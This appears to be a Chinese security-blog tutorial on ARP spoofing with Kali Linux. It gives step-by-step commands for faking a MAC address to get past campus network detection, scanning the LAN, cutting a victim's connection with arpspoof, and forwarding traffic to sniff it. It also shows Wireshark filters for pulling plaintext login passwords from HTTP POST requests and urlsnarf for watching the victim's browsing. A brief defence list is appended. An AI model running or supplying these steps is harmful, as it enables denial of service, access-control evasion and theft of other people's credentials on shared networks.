0x01 ARP欺骗原理
向受害者主机发送arp报文,然后将其报文中的MAC地址设置成为自己的MAC地址,然后目标数据上网发送数据包的时候都会发送到自己的主机,然后我们做一个丢弃数据包的命令,就可以断掉受害者的网络了
0x02 网络配置
需要配置为桥接模式
配置桥接模式原因:
因为需要我们手动去配置IP地址和网关,IP地址要与主机的无线网的IP段对应,子网掩码,网关都需要和宿主机保持一致,这样子才可以在同一个局域网进行ARP欺骗攻击,如果是net模式攻击无法生效
配置第一步
打开编辑 ———> 虚拟网络编辑器 ———> 选择桥接模式
其中PCIe为网线的 wifi是WiFi的
然后点击虚拟机 ———> 设置 ———> 把网络配置器设置为桥接模式
配置第二步
在本机Win+r,然后cmd回车,输入命令:ipconfig
然后在kali终端输入命令,设置静态ip,需要设为和你局域内网同网段
设置eth0网卡静态IP
命令:vi /etc/network/interfaces
打开是这样子的
然后在下面一排添加以下代码
auto eth0 #eth0网卡开机启动
iface eth0 inet static #设置eth0网卡静态
IP address (你的IPv4 地址)
netmask (你的子网掩码)
gateway (你的默认网关)
然后保存并退出
配置第三步
设置DNS /* 干净无广告,解析成功率相对来说更高,国内用户使用的比较多,而且速度相对快、稳定,是国内用户上网常用的DNS */
在终端输入命令:vi /etc/resolv.conf
打开时这样子的
需要修改为
domain localdomain
search localdomain
nameserver 8.8.8.8
nameserver 114.114.114.114
配置第四步
重启网络
输入命令:service networking restart 或者 /etc/init.d/networking restart
桥接模式配置坑点
有一些校园网络无法使用桥接模式,被拦截
坑点解决方法
第一步
查看自己的物理地址
点击设置 ———> 网络和Internet ———> 更改适配器选项 ———> 找到自己
然后鼠标右键选择状态 ———> 详细信息
然后可以找到自己的物理地址
我的物理地址是:3C-7C-3F-1A-9A-7B
第二步
打开kali,输入命令改成本机的物理地址
注意:命令里面的物理地址的-用:代替
命令:maccher -m 3C:7C:3F:1A:9A:7B
第三步
然后输入命令查看是否更改
命令:ifconfig
第四步
重启网络
命令:service networking restart
然后ping一下百度
发现可以ping通,说明有网络,成功绕过学校检测
0x03 安装arpspoof
在kali终端输入命令:apt-get install dsniff
安装arpspoof踩坑
这是发现踩坑了,报错无法定位软件包
坑点解决方法
第一步
换源
输入命令: //一起输入
cd /etc/apt/
sudo cp sources.list sources.list.bb
sudo vi sources.list
更换源地址
deb http://archive.ubuntu.com/ubuntu/ trusty main universe restricted multiverseb
然后把第三排注释掉,在第三排下面加上源地址
第二步
安装
输入命令:sudo apt-get update
然后又出来了一个坑点,出现了签名问题
第三步
导入用户密钥
输入命令:sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 3B4FE6ACC0B21F32
第四步
安装
输入命令:sudo apt-get update
0x04 安装
输入命令:apt-get install dsniff ssldump
检验安装arpspoof是否成功
输入命令:arpspoof
如果出现了版本号等信息说明安装成功
0x05 Arpspoof的使用
参数
-i interface 指定要使用的接口
-c own|host|both 指定范围own|host|both (自己|主机|两者)
-t target 指定一台特定主机进行ARP (如果未指定,则为LAN上的所有主机)
-r 两个主机(主机和目标)以捕获两个方向的流量 (仅对-t有效)
host 指定您希望抓取数据包的host (通常是本地网关)
示例 echo 1 > /proc/sys/net/ipv4/ip_forward #开启端口转发
cat /proc/sys/net/ipv4/ip_forward #检测端口是否开启(1为开启 0为关闭)
echo 0 > /proc/sys/net/ipv4/ip_forward #关闭端口转发
sudo tc qdisc add dev eth0 root netem delay 200ms #限制网速200ms延时
sudo tc qdisc del dev eth0 root netem delay 200ms #取消限制网速200ms延时
arpspoof -i 网卡名 -t 欺骗的目标 我是谁
arpspoof -i eth0 -t 受害者的IP 网关
0x06 查看当前局域网的ip
方法a
使用fping命令,输入自己的默认网关,前三位是自己的,后一位输入0/24,扫描C段
命令:fping -asg 网关/24
方法b
使用nmap命令
命令:nmap -sP 网关/24
0x07 断网攻击
命令:arpspoof -i eth0 -t 受害人IP 网关
已经开始攻击了,如果需要停止就按住CTRL+C
0x08 流量嗅探、密码抓取
开启流量转发
要进行流量嗅探必须要开启流量转发,kali默认没有开启流量转发
命令:echo 1 > /proc/sys/net/ipv4/ip_forward
然后查看是否开启,如果显示1就说明开启,0是没有开启
命令:cat /proc/sys/net/ipv4/ip_forward
然后输入命令进行流量转发
命令:arpspoof -i eth0 -t 受害者IP -r 网关
发现可以上网
通过wireshark获取数据包
数据包看着很乱,就通过过滤
ip.addr == 受害者IP
http协议是没有通过加密的,输入的账号密码可以直接获取
过滤条件就是:ip.addr == 受害者IP && http
但是一般账号密码是以POST类型提交的
所以还需要加一个过滤条件,条件为:ip.addr == 受害者IP && http && http.request.method == POST
然后可以通过数据包查看登录的账号密码
成功获得账号密码
0x09 URL流量操纵
在进行流量转发的终端窗口下再打开一个终端
查看目标主机访问的URL信息
命令:urlsnarf -i 网卡名称
我这里是:urlsnarf -i eth0
这里受害者在看B站,看样子正在休息
0x10 防御方法
1、安装ARP防火墙
2、交换机上启用DAI技术
3、ARP静态绑定
4、关闭DHCP服务
5、建立虚拟网卡
6、使用arp欺骗防护软件
7、使用arp服务器,通过服务器来查找arp转换表来响应其他机器的广播
8、绑定MAC地址
免责声明
由于传播、利用本公众号NGC660安全实验室所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号NGC600安全实验室及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
原文始发于微信公众号(NGC660安全实验室):ARP欺骗攻击(断网、流量嗅探、防御)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论